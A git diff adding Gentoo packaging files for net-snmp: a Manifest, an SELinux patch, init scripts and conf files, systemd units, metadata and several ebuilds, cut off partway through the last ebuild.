diff --git a/net-analyzer/net-snmp/Manifest b/net-analyzer/net-snmp/Manifest
new file mode 100644
index 000000000000..743619f0d0fb
--- /dev/null
+++ b/net-analyzer/net-snmp/Manifest
@@ -0,0 +1,4 @@
+DIST net-snmp-5.7.3-patches-1.tar.xz 5128 SHA256 742c5382a0e96f151b335cbfedc3da762f3d23d8e94ffc4903c49071070328ff SHA512 3109edef399815cfcfd76176c05c150f69f2ede6f41859d3a4d42b7ac450e1375ebb15b016257a52488dd6a8cebdecf47974d0542a792e0c215c538ea43a6a7d WHIRLPOOL c9331e6d5fbfc97872f5e6172d059deadfde5592e45ec57f1a7d0275ef211c122e3d0a024608a9fa6bc3b4a79d47ac81c934340ed030dcfe77d0928479693615
+DIST net-snmp-5.7.3-patches-2.tar.xz 3312 SHA256 a72732f9e40988ef1d79b6750c7ef7f56accbf5a32543dd15c000e58b1e9054c SHA512 22ca6cc4dd1fd58a8cff53881d248155dbfdab765e9a3664320c8c4a5cfa35e741adfb0304bb38be7719ba1c7418f9b0f9178719951b82d70257c3c944c450ad WHIRLPOOL 509da418db4c380f431af1d2d342bea4bd18caad99f2fb8120466ffcbbe8d2e09702a28b43b59d2a633ae3566d599a82a221eae4e9ac601a545445c614d3459f
+DIST net-snmp-5.7.3.pre5.tar.gz 6375630 SHA256 bcc6ab55f90e963b51bb34941c846979ecf62a5b385835d090ecdca5efad32e0 SHA512 5e59ece818fe2937d8ac9a9765361fe4db84d4b6eb5f5f96789d9bfc181d0e4b7a77a6a387f441f98f19afbfb645aebeb2443b7aee63c5d594d45a31df09a31c WHIRLPOOL 28e4e587639a024ae30253705a19b4b6a40cb4cf83405dc5dde081be55263538f3c6edac02e086ef63008729e5eb1d30764424eacc3d91c0b0499510f929e120
+DIST net-snmp-5.7.3.tar.gz 6382428 SHA256 12ef89613c7707dc96d13335f153c1921efc9d61d3708ef09f3fc4a7014fb4f0 SHA512 0758bba5844cfd6c80959ac16b83906a2f830ba49fd0ab1bf9e191dc6a79d312a2e4760bd53b3e1a1c82759481f0064d088d5a3cf475d84b25679a6bd0f049bb WHIRLPOOL ee741c1278206dd8dae00e085629e7c13ce518ad1911af804872ccaba576ab4d234f7801dbb447ae1ddba8196d43d1dbcd46c4bd8f69aa9dc9eb1662ce5e718a
diff --git a/net-analyzer/net-snmp/files/net-snmp-5.1.2-snmpconf-selinux.patch b/net-analyzer/net-snmp/files/net-snmp-5.1.2-snmpconf-selinux.patch
new file mode 100644
index 000000000000..d2e372161e92
--- /dev/null
+++ b/net-analyzer/net-snmp/files/net-snmp-5.1.2-snmpconf-selinux.patch
@@ -0,0 +1,12 @@
+https://bugzilla.redhat.com/show_bug.cgi?id=248329
+
+--- a/local/snmpconf.in
++++ b/local/snmpconf.in
+@@ -680,6 +680,7 @@
+ }
+ }
+ close(O);
++ system("restorecon $outputf");
+ }
+ }
+
diff --git a/net-analyzer/net-snmp/files/snmpd.conf b/net-analyzer/net-snmp/files/snmpd.conf
new file mode 100644
index 000000000000..83c3c1d92b82
--- /dev/null
+++ b/net-analyzer/net-snmp/files/snmpd.conf
@@ -0,0 +1,17 @@
+# Copyright 1999-2004 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+# Initial (empty) options.
+SNMPD_FLAGS=""
+
+# Enable connection logging.
+#SNMPD_FLAGS="${SNMPD_FLAGS} -a"
+
+# Enable syslog and disable file log.
+#SNMPD_FLAGS="${SNMPD_FLAGS} -Lsd -Lf /dev/null"
+
+# Enable agentx socket as /var/agentx/master
+# *NOTE* Before uncommenting this, make sure
+# the /var/agentx directory exists.
+#SNMPD_FLAGS="${SNMPD_FLAGS} -x /var/agentx/master"
diff --git a/net-analyzer/net-snmp/files/snmpd.init.2 b/net-analyzer/net-snmp/files/snmpd.init.2
new file mode 100644
index 000000000000..6b923dd6bf5d
--- /dev/null
+++ b/net-analyzer/net-snmp/files/snmpd.init.2
@@ -0,0 +1,35 @@
+#!/sbin/runscript
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+SNMPD_PIDFILE="${SNMPD_PIDFILE:-/var/run/snmpd.pid}"
+
+extra_started_commands="reload"
+
+command="/usr/sbin/snmpd"
+command_args="-p ${SNMPD_PIDFILE} ${SNMPD_FLAGS}"
+pidfile="${SNMPD_PIDFILE}"
+
+depend() {
+ use logger
+}
+
+checkconfig() {
+ if [ ! -e /etc/snmp/snmpd.conf ] ; then
+ eerror "${SVCNAME} requires an /etc/snmp/snmpd.conf configuration file"
+ return 1
+ fi
+}
+
+start_pre() {
+ checkconfig || return 1
+}
+
+reload() {
+ checkconfig || return 1
+
+ ebegin "Reloading ${SVCNAME} configuration"
+ kill -HUP $(cat ${SNMPD_PIDFILE}) 2>&1 > /dev/null
+ eend $?
+}
diff --git a/net-analyzer/net-snmp/files/snmpd.service b/net-analyzer/net-snmp/files/snmpd.service
new file mode 100644
index 000000000000..8150d7b18818
--- /dev/null
+++ b/net-analyzer/net-snmp/files/snmpd.service
@@ -0,0 +1,9 @@
+[Unit]
+Description=Simple Network Management Protocol (SNMP) Daemon
+After=syslog.target network.target
+
+[Service]
+ExecStart=/usr/sbin/snmpd -f
+
+[Install]
+WantedBy=multi-user.target
diff --git a/net-analyzer/net-snmp/files/snmptrapd.conf b/net-analyzer/net-snmp/files/snmptrapd.conf
new file mode 100644
index 000000000000..775f3582d5bf
--- /dev/null
+++ b/net-analyzer/net-snmp/files/snmptrapd.conf
@@ -0,0 +1,16 @@
+# Copyright 1999-2005 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+# extra flags to pass to snmptrapd
+SNMPTRAPD_FLAGS=""
+
+# ignore authentication failure traps
+#SNMPTRAPD_FLAGS="${SNMPTRAPD_FLAGS} -a"
+
+# log messages to specified file
+#SNMPTRAPD_FLAGS="${SNMPTRAPD_FLAGS} -Lf /var/log/snmptrapd.log"
+
+# log messages to syslog with the specified facility
+# where facility is: 'd' = LOG_DAEMON, 'u' = LOG_USER, [0-7] = LOG_LOCAL[0-7]
+#SNMPTRAPD_FLAGS="${SNMPTRAPD_FLAGS} -Ls d"
diff --git a/net-analyzer/net-snmp/files/snmptrapd.init.2 b/net-analyzer/net-snmp/files/snmptrapd.init.2
new file mode 100644
index 000000000000..27b501aedcb2
--- /dev/null
+++ b/net-analyzer/net-snmp/files/snmptrapd.init.2
@@ -0,0 +1,14 @@
+#!/sbin/runscript
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+SNMPTRAPD_PIDFILE="${SNMPTRAPD_PIDFILE:-/var/run/snmptrapd.pid}"
+
+command="/usr/sbin/snmptrapd"
+command_args="-p ${SNMPTRAPD_PIDFILE} ${SNMPTRAPD_FLAGS}"
+pidfile="${SNMPTRAPD_PIDFILE}"
+
+depend() {
+ use logger
+}
diff --git a/net-analyzer/net-snmp/files/snmptrapd.service b/net-analyzer/net-snmp/files/snmptrapd.service
new file mode 100644
index 000000000000..7d19444c1d73
--- /dev/null
+++ b/net-analyzer/net-snmp/files/snmptrapd.service
@@ -0,0 +1,9 @@
+[Unit]
+Description=Simple Network Management Protocol (SNMP) TRAP Daemon
+After=syslog.target network.target
+
+[Service]
+ExecStart=/usr/sbin/snmptrapd -f
+
+[Install]
+WantedBy=multi-user.target
diff --git a/net-analyzer/net-snmp/metadata.xml b/net-analyzer/net-snmp/metadata.xml
new file mode 100644
index 000000000000..4691f467e42c
--- /dev/null
+++ b/net-analyzer/net-snmp/metadata.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>netmon</herd>
+ <use>
+ <flag name="elf">Enable the use of elf utils to check uptime on some systems</flag>
+ <flag name="mfd-rewrites">Use MFD rewrites of mib modules where available</flag>
+ <flag name="rpm">
+ Enable monitoring of <pkg>app-arch/rpm</pkg>. This flag requires
+ the bzip2 and zlib flags to be enabled as well.
+ </flag>
+ <flag name="ucd-compat">
+ Build UCD compatibility library. Increases significantly the
+ install size.
+ </flag>
+ <flag name="pci">
+ Use libpci (from <pkg>sys-apps/pciutils</pkg>) to look up
+ network interface description. This feature is only available on
+ Linux.
+ </flag>
+ <flag name="netlink">
+ Use <pkg>dev-libs/libnl</pkg> to fetch TCP statistics instead of
+ using /proc/net/tcp (Linux only).
+ </flag>
+ </use>
+ <upstream>
+ <remote-id type="sourceforge">net-snmp</remote-id>
+ </upstream>
+</pkgmetadata>
diff --git a/net-analyzer/net-snmp/net-snmp-5.7.3.ebuild b/net-analyzer/net-snmp/net-snmp-5.7.3.ebuild
new file mode 100644
index 000000000000..78e4d61d2caa
--- /dev/null
+++ b/net-analyzer/net-snmp/net-snmp-5.7.3.ebuild
@@ -0,0 +1,180 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+PYTHON_COMPAT=( python2_7 )
+DISTUTILS_SINGLE_IMPL=yesplz
+DISTUTILS_OPTIONAL=yesplz
+WANT_AUTOMAKE=none
+PATCHSET=2
+GENTOO_DEPEND_ON_PERL=no
+
+inherit autotools distutils-r1 eutils perl-module systemd
+
+DESCRIPTION="Software for generating and retrieving SNMP data"
+HOMEPAGE="http://net-snmp.sourceforge.net/"
+SRC_URI="
+ mirror://sourceforge/project/${PN}/${PN}/${PV}/${P}.tar.gz
+ https://dev.gentoo.org/~jer/${PN}-5.7.3-patches-${PATCHSET}.tar.xz
+"
+
+S=${WORKDIR}/${P/_/.}
+
+# GPL-2 for the init scripts
+LICENSE="HPND BSD GPL-2"
+SLOT="0"
+KEYWORDS="~alpha ~amd64 ~arm ~arm64 ~hppa ~ia64 ~mips ~ppc ~ppc64 ~s390 ~sh ~sparc ~x86"
+IUSE="bzip2 doc elf ipv6 mfd-rewrites minimal perl python rpm selinux ssl tcpd X zlib lm_sensors ucd-compat pci netlink mysql"
+
+COMMON_DEPEND="
+ ssl? ( >=dev-libs/openssl-0.9.6d )
+ tcpd? ( >=sys-apps/tcp-wrappers-7.6 )
+ rpm? (
+ app-arch/rpm
+ dev-libs/popt
+ )
+ bzip2? ( app-arch/bzip2 )
+ zlib? ( >=sys-libs/zlib-1.1.4 )
+ elf? ( dev-libs/elfutils )
+ python? (
+ dev-python/setuptools[${PYTHON_USEDEP}]
+ ${PYTHON_DEPS}
+ )
+ pci? ( sys-apps/pciutils )
+ lm_sensors? ( sys-apps/lm_sensors )
+ netlink? ( dev-libs/libnl:3 )
+ mysql? ( virtual/mysql )
+ perl? ( dev-lang/perl:= )
+"
+DEPEND="
+ ${COMMON_DEPEND}
+ doc? ( app-doc/doxygen )
+"
+RDEPEND="
+ ${COMMON_DEPEND}
+ perl? (
+ X? ( dev-perl/perl-tk )
+ !minimal? ( dev-perl/TermReadKey )
+ )
+ selinux? ( sec-policy/selinux-snmp )
+"
+
+REQUIRED_USE="
+ python? ( ${PYTHON_REQUIRED_USE} )
+ rpm? ( bzip2 zlib )
+"
+
+RESTRICT=test
+
+pkg_setup() {
+ use python && python-single-r1_pkg_setup
+}
+
+src_prepare() {
+ # snmpconf generates config files with proper selinux context
+ use selinux && epatch "${FILESDIR}"/${PN}-5.1.2-snmpconf-selinux.patch
+
+ epatch "${WORKDIR}"/patches/*.patch
+
+ epatch_user
+
+ eautoconf
+}
+
+src_configure() {
+ # keep this in the same line, configure.ac arguments are passed down to config.h
+ local mibs="host ucd-snmp/dlmod ucd-snmp/diskio ucd-snmp/extensible mibII/mta_sendmail smux etherlike-mib/dot3StatsTable"
+ use lm_sensors && mibs="${mibs} ucd-snmp/lmsensorsMib"
+
+ econf \
+ $(use_enable !ssl internal-md5) \
+ $(use_enable ipv6) \
+ $(use_enable mfd-rewrites) \
+ $(use_enable perl embedded-perl) \
+ $(use_enable ucd-compat ucd-snmp-compatibility) \
+ $(use_with bzip2) \
+ $(use_with elf) \
+ $(use_with mysql) \
+ $(use_with netlink nl) \
+ $(use_with pci) \
+ $(use_with perl perl-modules INSTALLDIRS=vendor) \
+ $(use_with python python-modules) \
+ $(use_with rpm) \
+ $(use_with ssl openssl) \
+ $(use_with tcpd libwrap) \
+ $(use_with zlib) \
+ --enable-shared --disable-static \
+ --with-default-snmp-version="3" \
+ --with-install-prefix="${D}" \
+ --with-ldflags="${LDFLAGS}" \
+ --with-logfile="/var/log/net-snmpd.log" \
+ --with-mib-modules="${mibs}" \
+ --with-persistent-directory="/var/lib/net-snmp" \
+ --with-sys-contact="root@Unknown" \
+ --with-sys-location="Unknown"
+}
+
+src_compile() {
+ emake \
+ OTHERLDFLAGS="${LDFLAGS}" \
+ sedscript all
+
+ use doc && emake docsdox
+}
+
+src_install () {
+ # bug #317965
+ emake -j1 DESTDIR="${D}" install
+
+ if use perl ; then
+ perl_delete_localpod
+ if ! use X; then
+ rm "${D}"/usr/bin/tkmib || die
+ fi
+ else
+ rm -f \
+ "${D}"/usr/bin/fixproc \
+ "${D}"/usr/bin/ipf-mod.pl \
+ "${D}"/usr/bin/mib2c \
+ "${D}"/usr/bin/net-snmp-cert \
+ "${D}"/usr/bin/snmp-bridge-mib \
+ "${D}"/usr/bin/snmpcheck \
+ "${D}"/usr/bin/snmpconf \
+ "${D}"/usr/bin/tkmib \
+ "${D}"/usr/bin/traptoemail \
+ "${D}"/usr/share/snmp/mib2c.perl.conf \
+ "${D}"/usr/share/snmp/snmp_perl_trapd.pl \
+ || die
+ fi
+
+ dodoc AGENT.txt ChangeLog FAQ INSTALL NEWS PORTING README* TODO
+ newdoc EXAMPLE.conf.def EXAMPLE.conf
+
+ use doc && dohtml docs/html/*
+
+ keepdir /var/lib/net-snmp
+
+ newinitd "${FILESDIR}"/snmpd.init.2 snmpd
+ newconfd "${FILESDIR}"/snmpd.conf snmpd
+
+ newinitd "${FILESDIR}"/snmptrapd.init.2 snmptrapd
+ newconfd "${FILESDIR}"/snmptrapd.conf snmptrapd
+
+ systemd_dounit "${FILESDIR}"/snmpd.service
+ systemd_dounit "${FILESDIR}"/snmptrapd.service
+
+ insinto /etc/snmp
+ newins "${S}"/EXAMPLE.conf snmpd.conf.example
+
+ # Remove everything not required for an agent.
+ # Keep only the snmpd, snmptrapd, MIBs, headers and libraries.
+ if use minimal; then
+ rm -rf \
+ "${D}"/**/*.pl \
+ "${D}"/usr/bin/{encode_keychange,snmp{get,getnext,set,usm,walk,bulkwalk,table,trap,bulkget,translate,status,delta,test,df,vacm,netstat,inform,check,conf},fixproc,traptoemail} \
+ "${D}"/usr/share/snmp/*.conf \
+ "${D}"/usr/share/snmp/snmpconf-data \
+ || die
+ fi
+}
diff --git a/net-analyzer/net-snmp/net-snmp-5.7.3_pre5-r1.ebuild b/net-analyzer/net-snmp/net-snmp-5.7.3_pre5-r1.ebuild
new file mode 100644
index 000000000000..a69b98fe9098
--- /dev/null
+++ b/net-analyzer/net-snmp/net-snmp-5.7.3_pre5-r1.ebuild
@@ -0,0 +1,162 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+PYTHON_COMPAT=( python2_7 )
+DISTUTILS_SINGLE_IMPL=yesplz
+DISTUTILS_OPTIONAL=yesplz
+WANT_AUTOMAKE=none
+PATCHSET=1
+
+inherit autotools distutils-r1 eutils perl-module systemd
+
+DESCRIPTION="Software for generating and retrieving SNMP data"
+HOMEPAGE="http://net-snmp.sourceforge.net/"
+SRC_URI="
+ mirror://sourceforge/${PN}/${PN}/${PV/_pre*/}-pre-releases/${P/_pre*/}.${PV/*_}.tar.gz
+ http://dev.gentoo.org/~jer/${PN}-5.7.3-patches-${PATCHSET}.tar.xz
+"
+
+S=${WORKDIR}/${P/_/.}
+
+# GPL-2 for the init scripts
+LICENSE="HPND BSD GPL-2"
+SLOT="0"
+KEYWORDS="alpha amd64 arm arm64 hppa ia64 ~mips ppc ppc64 s390 sh sparc x86"
+IUSE="bzip2 doc elf ipv6 mfd-rewrites minimal perl python rpm selinux ssl tcpd X zlib lm_sensors ucd-compat pci netlink mysql"
+
+COMMON="ssl? ( >=dev-libs/openssl-0.9.6d )
+ tcpd? ( >=sys-apps/tcp-wrappers-7.6 )
+ rpm? (
+ app-arch/rpm
+ dev-libs/popt
+ )
+ bzip2? ( app-arch/bzip2 )
+ zlib? ( >=sys-libs/zlib-1.1.4 )
+ elf? ( dev-libs/elfutils )
+ python? (
+ dev-python/setuptools[${PYTHON_USEDEP}]
+ ${PYTHON_DEPS}
+ )
+ pci? ( sys-apps/pciutils )
+ lm_sensors? ( sys-apps/lm_sensors )
+ netlink? ( dev-libs/libnl:3 )
+ mysql? ( virtual/mysql )"
+
+RDEPEND="${COMMON}
+ perl? (
+ X? ( dev-perl/perl-tk )
+ !minimal? ( dev-perl/TermReadKey )
+ )
+ selinux? ( sec-policy/selinux-snmp )
+"
+
+# Dependency on autoconf due to bug #225893
+DEPEND="${COMMON}
+ >=sys-apps/sed-4
+ doc? ( app-doc/doxygen )"
+
+REQUIRED_USE="
+ python? ( ${PYTHON_REQUIRED_USE} )
+ rpm? ( bzip2 zlib )
+"
+
+RESTRICT=test
+
+pkg_setup() {
+ use python && python-single-r1_pkg_setup
+}
+
+src_prepare() {
+ # snmpconf generates config files with proper selinux context
+ use selinux && epatch "${FILESDIR}"/${PN}-5.1.2-snmpconf-selinux.patch
+
+ epatch "${WORKDIR}"/patches/*.patch
+
+ epatch_user
+
+ eautoconf
+}
+
+src_configure() {
+ # keep this in the same line, configure.ac arguments are passed down to config.h
+ local mibs="host ucd-snmp/dlmod ucd-snmp/diskio ucd-snmp/extensible mibII/mta_sendmail smux"
+ use lm_sensors && mibs="${mibs} ucd-snmp/lmsensorsMib"
+
+ econf \
+ $(use_enable !ssl internal-md5) \
+ $(use_enable ipv6) \
+ $(use_enable mfd-rewrites) \
+ $(use_enable perl embedded-perl) \
+ $(use_enable ucd-compat ucd-snmp-compatibility) \
+ $(use_with bzip2) \
+ $(use_with elf) \
+ $(use_with mysql) \
+ $(use_with netlink nl) \
+ $(use_with pci) \
+ $(use_with perl perl-modules INSTALLDIRS=vendor) \
+ $(use_with python python-modules) \
+ $(use_with rpm) \
+ $(use_with ssl openssl) \
+ $(use_with tcpd libwrap) \
+ $(use_with zlib) \
+ --enable-shared --disable-static \
+ --with-default-snmp-version="3" \
+ --with-install-prefix="${D}" \
+ --with-ldflags="${LDFLAGS}" \
+ --with-logfile="/var/log/net-snmpd.log" \
+ --with-mib-modules="${mibs}" \
+ --with-persistent-directory="/var/lib/net-snmp" \
+ --with-sys-contact="root@Unknown" \
+ --with-sys-location="Unknown"
+}
+
+src_compile() {
+ emake \
+ OTHERLDFLAGS="${LDFLAGS}" \
+ sedscript all
+
+ use doc && emake docsdox
+}
+
+src_install () {
+ # bug #317965
+ emake -j1 DESTDIR="${D}" install
+
+ if use perl ; then
+ perl_delete_localpod
+ use X || rm -f "${D}"/usr/bin/tkmib
+ else
+ rm -f "${D}"/usr/bin/mib2c "${D}"/usr/bin/snmpcheck "${D}"/usr/bin/tkmib
+ fi
+
+ dodoc AGENT.txt ChangeLog FAQ INSTALL NEWS PORTING README* TODO
+ newdoc EXAMPLE.conf.def EXAMPLE.conf
+
+ use doc && dohtml docs/html/*
+
+ keepdir /var/lib/net-snmp
+
+ newinitd "${FILESDIR}"/snmpd.init.2 snmpd
+ newconfd "${FILESDIR}"/snmpd.conf snmpd
+
+ newinitd "${FILESDIR}"/snmptrapd.init.2 snmptrapd
+ newconfd "${FILESDIR}"/snmptrapd.conf snmptrapd
+
+ systemd_dounit "${FILESDIR}"/snmpd.service
+ systemd_dounit "${FILESDIR}"/snmptrapd.service
+
+ insinto /etc/snmp
+ newins "${S}"/EXAMPLE.conf snmpd.conf.example
+
+ # Remove everything not required for an agent.
+ # Keep only the snmpd, snmptrapd, MIBs, headers and libraries.
+ if use minimal; then
+ rm -rf \
+ "${D}"/usr/bin/{encode_keychange,snmp{get,getnext,set,usm,walk,bulkwalk,table,trap,bulkget,translate,status,delta,test,df,vacm,netstat,inform,check,conf},fixproc,traptoemail} \
+ "${D}"/usr/share/snmp/snmpconf-data \
+ "${D}"/usr/share/snmp/*.conf \
+ "${D}"/**/*.pl
+ fi
+}
diff --git a/net-analyzer/net-snmp/net-snmp-5.7.3_pre5-r2.ebuild b/net-analyzer/net-snmp/net-snmp-5.7.3_pre5-r2.ebuild
new file mode 100644
index 000000000000..2fe9598ce0a5
--- /dev/null
+++ b/net-analyzer/net-snmp/net-snmp-5.7.3_pre5-r2.ebuild
@@ -0,0 +1,163 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+PYTHON_COMPAT=( python2_7 )
+DISTUTILS_SINGLE_IMPL=yesplz
+DISTUTILS_OPTIONAL=yesplz
+WANT_AUTOMAKE=none
+PATCHSET=1
+
+inherit autotools distutils-r1 eutils perl-module systemd
+
+DESCRIPTION="Software for generating and retrieving SNMP data"
+HOMEPAGE="http://net-snmp.sourceforge.net/"
+SRC_URI="
+ mirror://sourceforge/${PN}/${PN}/${PV/_pre*/}-pre-releases/${P/_pre*/}.${PV/*_}.tar.gz
+ http://dev.gentoo.org/~jer/${PN}-5.7.3-patches-${PATCHSET}.tar.xz
+"
+
+S=${WORKDIR}/${P/_/.}
+
+# GPL-2 for the init scripts
+LICENSE="HPND BSD GPL-2"
+SLOT="0"
+KEYWORDS="~alpha ~amd64 ~arm ~arm64 ~hppa ~ia64 ~mips ~ppc ~ppc64 ~s390 ~sh ~sparc ~x86"
+IUSE="bzip2 doc elf ipv6 mfd-rewrites minimal perl python rpm selinux ssl tcpd X zlib lm_sensors ucd-compat pci netlink mysql"
+
+COMMON_DEPEND="
+ ssl? ( >=dev-libs/openssl-0.9.6d )
+ tcpd? ( >=sys-apps/tcp-wrappers-7.6 )
+ rpm? (
+ app-arch/rpm
+ dev-libs/popt
+ )
+ bzip2? ( app-arch/bzip2 )
+ zlib? ( >=sys-libs/zlib-1.1.4 )
+ elf? ( dev-libs/elfutils )
+ python? (
+ dev-python/setuptools[${PYTHON_USEDEP}]
+ ${PYTHON_DEPS}
+ )
+ pci? ( sys-apps/pciutils )
+ lm_sensors? ( sys-apps/lm_sensors )
+ netlink? ( dev-libs/libnl:3 )
+ mysql? ( virtual/mysql )
+"
+DEPEND="
+ ${COMMON_DEPEND}
+ doc? ( app-doc/doxygen )
+"
+RDEPEND="
+ ${COMMON_DEPEND}
+ perl? (
+ X? ( dev-perl/perl-tk )
+ !minimal? ( dev-perl/TermReadKey )
+ )
+ selinux? ( sec-policy/selinux-snmp )
+"
+
+REQUIRED_USE="
+ python? ( ${PYTHON_REQUIRED_USE} )
+ rpm? ( bzip2 zlib )
+"
+
+RESTRICT=test
+
+pkg_setup() {
+ use python && python-single-r1_pkg_setup
+}
+
+src_prepare() {
+ # snmpconf generates config files with proper selinux context
+ use selinux && epatch "${FILESDIR}"/${PN}-5.1.2-snmpconf-selinux.patch
+
+ epatch "${WORKDIR}"/patches/*.patch
+
+ epatch_user
+
+ eautoconf
+}
+
+src_configure() {
+ # keep this in the same line, configure.ac arguments are passed down to config.h
+ local mibs="host ucd-snmp/dlmod ucd-snmp/diskio ucd-snmp/extensible mibII/mta_sendmail smux etherlike-mib/dot3StatsTable"
+ use lm_sensors && mibs="${mibs} ucd-snmp/lmsensorsMib"
+
+ econf \
+ $(use_enable !ssl internal-md5) \
+ $(use_enable ipv6) \
+ $(use_enable mfd-rewrites) \
+ $(use_enable perl embedded-perl) \
+ $(use_enable ucd-compat ucd-snmp-compatibility) \
+ $(use_with bzip2) \
+ $(use_with elf) \
+ $(use_with mysql) \
+ $(use_with netlink nl) \
+ $(use_with pci) \
+ $(use_with perl perl-modules INSTALLDIRS=vendor) \
+ $(use_with python python-modules) \
+ $(use_with rpm) \
+ $(use_with ssl openssl) \
+ $(use_with tcpd libwrap) \
+ $(use_with zlib) \
+ --enable-shared --disable-static \
+ --with-default-snmp-version="3" \
+ --with-install-prefix="${D}" \
+ --with-ldflags="${LDFLAGS}" \
+ --with-logfile="/var/log/net-snmpd.log" \
+ --with-mib-modules="${mibs}" \
+ --with-persistent-directory="/var/lib/net-snmp" \
+ --with-sys-contact="root@Unknown" \
+ --with-sys-location="Unknown"
+}
+
+src_compile() {
+ emake \
+ OTHERLDFLAGS="${LDFLAGS}" \
+ sedscript all
+
+ use doc && emake docsdox
+}
+
+src_install () {
+ # bug #317965
+ emake -j1 DESTDIR="${D}" install
+
+ if use perl ; then
+ perl_delete_localpod
+ use X || rm -f "${D}"/usr/bin/tkmib
+ else
+ rm -f "${D}"/usr/bin/mib2c "${D}"/usr/bin/snmpcheck "${D}"/usr/bin/tkmib
+ fi
+
+ dodoc AGENT.txt ChangeLog FAQ INSTALL NEWS PORTING README* TODO
+ newdoc EXAMPLE.conf.def EXAMPLE.conf
+
+ use doc && dohtml docs/html/*
+
+ keepdir /var/lib/net-snmp
+
+ newinitd "${FILESDIR}"/snmpd.init.2 snmpd
+ newconfd "${FILESDIR}"/snmpd.conf snmpd
+
+ newinitd "${FILESDIR}"/snmptrapd.init.2 snmptrapd
+ newconfd "${FILESDIR}"/snmptrapd.conf snmptrapd
+
+ systemd_dounit "${FILESDIR}"/snmpd.service
+ systemd_dounit "${FILESDIR}"/snmptrapd.service
+
+ insinto /etc/snmp
+ newins "${S}"/EXAMPLE.conf snmpd.conf.example
+
+ # Remove everything not required for an agent.
+ # Keep only the snmpd, snmptrapd, MIBs, headers and libraries.
+ if use minimal; then
+ rm -rf \
+ "${D}"/usr/bin/{encode_keychange,snmp{get,getnext,set,usm,walk,bulkwalk,table,trap,bulkget,translate,status,delta,test,df,vacm,netstat,inform,check,conf},fixproc,traptoemail} \
+ "${D}"/usr/share/snmp/snmpconf-data \
+ "${D}"/usr/share/snmp/*.conf \
+ "${D}"/**/*.pl
+ fi
+}
diff --git a/net-analyzer/net-snmp/net-snmp-5.7.3_pre5-r3.ebuild b/net-analyzer/net-snmp/net-snmp-5.7.3_pre5-r3.ebuild
new file mode 100644
index 000000000000..e03e97dd58ff
--- /dev/null
+++ b/net-analyzer/net-snmp/net-snmp-5.7.3_pre5-r3.ebuild
@@ -0,0 +1,180 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+PYTHON_COMPAT=( python2_7 )
+DISTUTILS_SINGLE_IMPL=yesplz
+DISTUTILS_OPTIONAL=yesplz
+WANT_AUTOMAKE=none
+PATCHSET=1
+GENTOO_DEPEND_ON_PERL=no
+
+inherit autotools distutils-r1 eutils perl-module systemd
+
+DESCRIPTION="Software for generating and retrieving SNMP data"
+HOMEPAGE="http://net-snmp.sourceforge.net/"
+SRC_URI="
+ mirror://sourceforge/${PN}/${PN}/${PV/_pre*/}-pre-releases/${P/_pre*/}.${PV/*_}.tar.gz
+ http://dev.gentoo.org/~jer/${PN}-5.7.3-patches-${PATCHSET}.tar.xz
+"
+
+S=${WORKDIR}/${P/_/.}
+
+# GPL-2 for the init scripts
+LICENSE="HPND BSD GPL-2"
+SLOT="0"
+KEYWORDS="~alpha ~amd64 ~arm ~arm64 ~hppa ~ia64 ~mips ~ppc ~ppc64 ~s390 ~sh ~sparc ~x86"
+IUSE="bzip2 doc elf ipv6 mfd-rewrites minimal perl python rpm selinux ssl tcpd X zlib lm_sensors ucd-compat pci netlink mysql"
+
+COMMON_DEPEND="
+ ssl? ( >=dev-libs/openssl-0.9.6d )
+ tcpd? ( >=sys-apps/tcp-wrappers-7.6 )
+ rpm? (
+ app-arch/rpm
+ dev-libs/popt
+ )
+ bzip2? ( app-arch/bzip2 )
+ zlib? ( >=sys-libs/zlib-1.1.4 )
+ elf? ( dev-libs/elfutils )
+ python? (
+ dev-python/setuptools[${PYTHON_USEDEP}]
+ ${PYTHON_DEPS}
+ )
+ pci? ( sys-apps/pciutils )
+ lm_sensors? ( sys-apps/lm_sensors )
+ netlink? ( dev-libs/libnl:3 )
+ mysql? ( virtual/mysql )
+ perl? ( dev-lang/perl )
+"
+DEPEND="
+ ${COMMON_DEPEND}
+ doc? ( app-doc/doxygen )
+"
+RDEPEND="
+ ${COMMON_DEPEND}
+ perl? (
+ X? ( dev-perl/perl-tk )
+ !minimal? ( dev-perl/TermReadKey )
+ )
+ selinux? ( sec-policy/selinux-snmp )
+"
+
+REQUIRED_USE="
+ python? ( ${PYTHON_REQUIRED_USE} )
+ rpm? ( bzip2 zlib )
+"
+
+RESTRICT=test
+
+pkg_setup() {
+ use python && python-single-r1_pkg_setup
+}
+
+src_prepare() {
+ # snmpconf generates config files with proper selinux context
+ use selinux && epatch "${FILESDIR}"/${PN}-5.1.2-snmpconf-selinux.patch
+
+ epatch "${WORKDIR}"/patches/*.patch
+
+ epatch_user
+
+ eautoconf
+}
+
+src_configure() {
+ # keep this in the same line, configure.ac arguments are passed down to config.h
+ local mibs="host ucd-snmp/dlmod ucd-snmp/diskio ucd-snmp/extensible mibII/mta_sendmail smux etherlike-mib/dot3StatsTable"
+ use lm_sensors && mibs="${mibs} ucd-snmp/lmsensorsMib"
+
+ econf \
+ $(use_enable !ssl internal-md5) \
+ $(use_enable ipv6) \
+ $(use_enable mfd-rewrites) \
+ $(use_enable perl embedded-perl) \
+ $(use_enable ucd-compat ucd-snmp-compatibility) \
+ $(use_with bzip2) \
+ $(use_with elf) \
+ $(use_with mysql) \
+ $(use_with netlink nl) \
+ $(use_with pci) \
+ $(use_with perl perl-modules INSTALLDIRS=vendor) \
+ $(use_with python python-modules) \
